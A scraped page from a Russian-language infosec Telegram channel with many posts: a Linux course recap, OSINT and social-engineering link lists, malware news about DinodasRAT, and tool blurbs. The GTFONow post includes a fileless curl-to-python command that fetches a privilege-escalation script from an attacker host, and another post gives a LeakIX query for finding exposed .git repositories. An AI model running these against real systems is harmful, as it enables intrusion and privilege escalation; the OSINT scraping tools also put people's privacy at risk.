Life-Hack - Жизнь-Взлом
59.2K subscribers
1.16K photos
76 videos
18 files
7.67K links
Сообщество по информационной безопасности.
Статьи, гайды, обучения, рекомендации, обзоры, новости, подборки полезного софта!
#хакер #хакинг #Linux #OSINT
Наши каналы - @LifeHackmedia

По любым вопросам сюда - @Adm1nGmz
Download Telegram
На третьей неделе курса "Linux для новичков" мы изучили основные команды для управления пользователями и группами в Linux. Мы научились создавать и удалять пользователей и группы, управлять правами доступа, и познакомились с командами chroot и sudo.

Если вы что-то пропустили и желаете прочитать, то вот список материалов третей недели:

Неделя 3: Управление пользователями и группами
•Создание и удаление пользователей в Linux: команды useradd и userdel.
•Управление паролями пользователей: команда passwd.
•Назначение пользователей в группы: команда usermod.
•Создание и удаление групп в Linux: команды groupadd и groupdel.
•Управление правами доступа к файлам и директориям для пользователей и групп.
•Просмотр информации о пользователях и группах: команды id, whoami и др.
•Ограничение доступа пользователей к определенным ресурсам: команды chroot и sudo.

Не забывайте следить и делиться нашим бесплатным курсом "Linux для новичков"!

Первая серия материалов.
Вторая серия материалов.

Следующую неделю мы посвятим теме «Сетевые возможности Linux».

#Linux #обучениеlinux #статьипоLinux

LH | Новости | Курсы | Мемы
GTFONow

Данный инструмент предназначен для автоматической эскалации привилегий в Unix-подобных системах через команду sudo, также через атрибут SUID бинарных файлов в системе с использованием базы GTFOBins.

Возможности:
— Автоматическая эксплуатация неправильно настроенных разрешений sudo.
— Автоматическая эксплуатация неправильно настроенных разрешений suid, sgid.
— Автоматическая эксплуатация неправильных настроенных компонентов ОС.
— Автоматическая эксплуатация через SSH-ключи.
— Автоматическая эксплуатация через файл используемый в cron.
— Автоматическая эксплуатация через переменную окружения LD_PRELOAD.
— Легкий запуск без файлов с помощью
curl http://attackerhost/gtfonow.py | python

Ссылка на GitHub.

LH | Новости | Курсы | Мемы

#рекомендация
#рекомендации
Reb, Blue, Yellow Team. Противостояние или партнёрство в киберпространстве

#статья

Сегодня поговорим с вами на тему, так называемых, команд в сфере информационной безопасности. В основном эта статья предназначена для тех, кто только начинает свой путь в этом направлении или просто до сих пор не определился к какой из "команд" он хочет примкнуть. Мы разберемся как команды и их совместная деятельность дополняют друг друга, и что они из себя представляют.

Читать статью.

LH | Новости | Курсы | Мемы
👁 OSINT (от англ. Open-Source Intelligence) — это метод прикладной обработки информации, основанный на использовании информации, которая генерируется и доступна для публики. Например, с помощью OSINT вы можете найти много полезной информации на просторах интернета по тематике OSINT, но мы постарались и уже сделали подборку специально для Вас!

Подборка полезных материалов про OSINT #2:
OSINT инструменты для Instagram и Facebook
OSINT с FOCA: что можно узнать из публичных источников?
CSI Linux. Полное руководство по OSINT. Часть 1. Domain Tools
Сбор информации с помощью OSINT. Часть 1
Сбор информации с помощью OSINT. Часть 2
Поиск и анализ страниц ВКонтакте. OSINT и социальные сети
Навыки OSINT(интернет-разведки) в кибербезопасности
Учебное пособие OSINT для отслеживания информации о самолете и рейсе в режиме реального времени
Ищем профиль по имени пользователя (OSINT)
Комплексные инструменты OSINT. Сбор информации в сети
Terra – инструмент OSINT для Twitter и Instagram
Поиск в мире IoT. Альтернативы Shodan и Censys или OSINT по-китайски. Часть 1
Комплексные инструменты OSINT. Сбор информации в сети. Часть 2
Osint-San — инструмент, с которым можно стать кибердетективом
Обзор Tsurugi Linux. Японское качество OSINT
Как использовать sherlock
Простой OSINT с использованием инструмента infooze V 1.0 [С примерами]
Как выполнять OSINT в браузере с помощью Mitaka
Сбор информации в Instagram с Osintgram на Kali Linux
Открытый код. Мой топ 4 инструмента в сфере OSINT
Открытый код. Инструменты OSINT.
Telepathy - Набор инструментов для OSINT, позволяющий исследовать Telegram-чаты.
Hunxploit04 – новый OSINT-инструмент для сбора
информации

Maryam: Open-source Intelligence(OSINT) Framework

Подборка полезных материалов про OSINT #1

#подборка

LH | Новости | Курсы | Мемы
Please open Telegram to view this post
VIEW IN TELEGRAM
Поиск уязвимых хостов с помощью LeakIX

Поисковая система, похожая на Shodan, с основным отличием - она ориентируется на разного рода утечки информации. Интересный способ, когда нужно по-быстрому проверить на некоторые типы уязвимостей. Например по запросу:

+target_name +plugin:"GitConfigHttpPlugin"

Получим список хостов с открытыми .git репозиториями, в которых, как известно, бывает немало полезной информации.

Есть и другие, не менее интересные плагины, список которых представлен тут.

Ссылка на сервис.

LH | Новости | Курсы | Мемы

#рекомендация
#рекомендации
Знали ли вы о том, что даже полузабытый инстанс IIS может быть использован злоумышленниками для закрепления? Нужно только.....

#статья

Как же хорошо, что любые энтерпрайз Windows-продукты имеют приятную возможность для расширения. Берите и пишите что хотите, когда хотите и как хотите! IIS — не исключение. Внутри него можно зарегистрировать DLLку, которая будет обрабатывать все HTTP-запросы. Казалось бы, обычный функционал? Но как злоумышленники могут использовать его в своих целях? Давайте разбираться на практике.

Материал можно почитать тут.

LH | Новости | Курсы | Мемы
👁 OSINT

Продолжаем знакомить вас с увлекательным миром "OSINT" и предоставляем следующую порцию полезной информации на эту тему.

Подборка полезных материалов про OSINT #3:
Топ 5 сервисов для определения геолокации по фото
Orca – фреймворк для целевого OSINT
Боевой Linux. Обзор самых мощных дистрибутивов для пентестов и OSINT
Как узнать информацию о пользователе Telegram
TorBot — интеллектуальный OSINT-инструмент с открытым исходным кодом, написанный на Python.
Metaforge: инструмент анализа метаданных OSINT
The Atypical OSINT Guide
Zehef - инструмент osint для отслеживания электронной почты.
007-TheBond - OSINT инструмент, поможет вам собрать информацию о любом человеке.
OSINT: поиск по электронный почте
Seekr - Универсальный набор инструментов для сбора и управления OSINT-данными с удобным веб-интерфейсом.
Сканируем сеть. Собираем информацию об организациях
bbot — рекурсивный интернет-сканер для хакеров, вдохновленный Spiderfoot.
Расширяем арсенал OSINT: Пять инструментов для анализа и поиска данных
Обозреваем и практикуем популярные OSINT инструменты

Подборка полезных материалов про OSINT #1
Подборка полезных материалов про OSINT #2

#подборка

LH | Новости | Курсы | Мемы
Please open Telegram to view this post
VIEW IN TELEGRAM
Боты и сервисы для разведки данных Вконтакте

#статья

Продолжаю серию статей "ШХ" на тему OSINT. В прошлой статье рассмотрели варианты поиска по никнейму, благодаря которому смогли узнать почту и сопоставить аккаунты в социальных сетях.

Социальные сети стали неотъемлемой частью современной жизни, где люди активно делятся своими мыслями, фотографиями, интересами и информацией о себе. ВКонтакте, как одна из крупнейших платформ для общения, предоставляет уникальные возможности для проведения OSINT-исследования. Сегодня мы рассмотрим веб-ресурсы, ботов и методы поиска на примере социальной сети Вконтакте (VK).

Приятного чтения!

LH | Новости | Курсы | Мемы
Social Engineering

Социальная инженерия – это метод манипуляции людьми с целью получения конфиденциальной информации или доступа к защищенным системам. Этот метод часто используется хакерами или мошенниками для достижения своих целей.

Понимание этого метода манипуляции и знание способов защиты от него поможет повысить уровень безопасности как в интернете, так и в реальной жизни. Надеемся, что данная подборка будет полезной для всех, кто хочет разобраться в этой теме.

Социальная инженерия из первых рук.
Социальная инженерия что это и как избежать.
Социальная инженерия — методология проведения атак.
Что означает социальная инженерия? Основы манипуляции.
Социальная инженерия в Instagram.
Социальная инженерия. Целенаправленные атаки. OSINT.
Социальная инженерия. Практики, методы и инструменты для социотехнического тестирования. Часть 1
Социальная инженерия. Практики, методы и инструменты для социотехнического тестирования. Часть 2
Социальная инженерия. Атака на Сбербанк
Методы социальной инженерии
Взлом Facebook и Google с применением социальной инженерии
Как взломать человека. Примеры социальной инженерии
Социальная инженерия: как преступники эксплуатируют поведение человека
Профайлинг и Социальная инженерия
Взлом (Facebook.com VK.com Odnoklassniki.ru) или как Узнать пароль подружки!
Автоматизация процесса сбора информации в социальной инженерии с помощью Rapportive
Социальная инженерия. Целенаправленные атаки. OSINT
Social Engineering - А что если...
The Social-Engineer Toolkit.
SET в Kali Linux для фишинговых атак

#подборка

LH | Новости | Курсы | Мемы
Forwarded from SecAtor
Исследователи из Лаборатории Касперского сообщают об обнаружении в дикой природе Linux-версии многоплатформенного бэкдора под названием DinodasRAT, который был замечен в атаках на Китай, Тайвань, Турцию и Узбекистан.

DinodasRAT,
также известный как XDealer, представляет собой вредоносное ПО на основе C++, позволяющее собирать широкий спектр конфиденциальных данных со скомпрометированных хостов.

В октябре 2023 года словацкая ESET наблюдала за кампанией кибершпионажа Operation Jacana, инициированной в отношении правительственных учреждений в Гайане с использованием Windows-версии рассматриваемого имплантата.

Как мы ранее сообщали, следы DinodasRAT в атаках, направленных с 2023 года на ряд госструктур по всему миру, также заметили исследователи Trend Micro, отслеживая APT Earth Krahang.

Вообще же DinodasRAT приписывают различным злоумышленникам, связанным Китаем, в том числе LuoYu, что может указывать на активный обмен инструментами среди указанной категории хакерских групп.

Лаборатория Касперского
обнаружила версию вредоносного ПО для Linux (V10) в начале октября 2023 года. Собранные на данный момент данные показывают, что первый известный вариант (V7) датируется 2021 годом.

Он в основном предназначен для дистрибутивов на базе Red Hat и Ubuntu Linux.

После выполнения он устанавливает постоянство на хосте с помощью сценариев запуска SystemV или SystemD и периодически связывается с удаленным сервером через TCP или UDP для получения команд для запуска.

DinodasRAT
способен выполнять файловые операции, изменять адреса C2, перечислять и завершать запущенные процессы, выполнять команды оболочки, загружать новую версию бэкдора и даже удалять себя.

Он также реализует меры, чтобы избежать детектирования с помощью инструментов отладки и мониторинга, и, как и его аналог для Windows, использует алгоритм Tiny Encryption Algorithm (TEA) для шифрования сообщений C2.

На момент анализа имплантата инфраструктура DinodasRAT для Linux, была полностью работоспособной.

Основная направленность DinodasRAT — получение и поддержание доступа через серверы Linux, а не разведка, как полагают исследователи ЛК.

Бэкдор полностью функционален, предоставляя оператору полный контроль над зараженной машиной, позволяя осуществлять кражу данных и шпионаж.

Более детальный анализ последних версий DinodasRAT с IOC доступен в отчете.
Увеличиваем Attack Surface на пентесте периметра

#статья

Типичная проблема: компании часто сами не подозревают, какие ресурсы у них могут «торчать наружу». А раз их может нарыть потенциальный злоумышленник — это проблема. На пентестах внешнего периметра не всегда сразу доступен полный скоуп IP-адресов, доменов и поддоменов. В таких случаях нам, пентестерам, приходится recon-ить все ресурсы компании. Ну и конечно же, чем больше скоуп, тем больше Attack Surface, тем больше потенциальных файндингов, в итоге — больше вероятность пробива периметра. Разберемся, что с этим делать.

Приятного чтения!

LH | Новости | Курсы | Мемы
👁 OSINT

За последние несколько лет OSINT стал неотъемлемой частью работы разведывательных служб, бизнеса и исследователей. Этот метод сбора и анализа открытой информации из различных источников, таких как социальные сети, сайты, форумы и новостные ресурсы, позволяет получить ценные данные для выявления угроз, проведения расследований и принятия обоснованных решений. Давайте более подробно рассмотрим, как OSINT может быть полезен в различных сферах деятельности и какие технологии используются для его эффективного применения.

Подборка полезных материалов про OSINT #1
Подборка полезных материалов про OSINT #2
Подборка полезных материалов про OSINT #3

LH | Новости | Курсы | Мемы

#рекомендация
#рекомендации
#OSINT
Please open Telegram to view this post
VIEW IN TELEGRAM
ScrapedIn

#osint

Инструмент для парсинга LinkedIn без ограничений API для разведки данных. Можно быстро собирать инфу и парсить данные сразу в табличку XLSX.

Ссылка на GitHub.

LH | Новости | Курсы | Мемы

#рекомендация
#рекомендации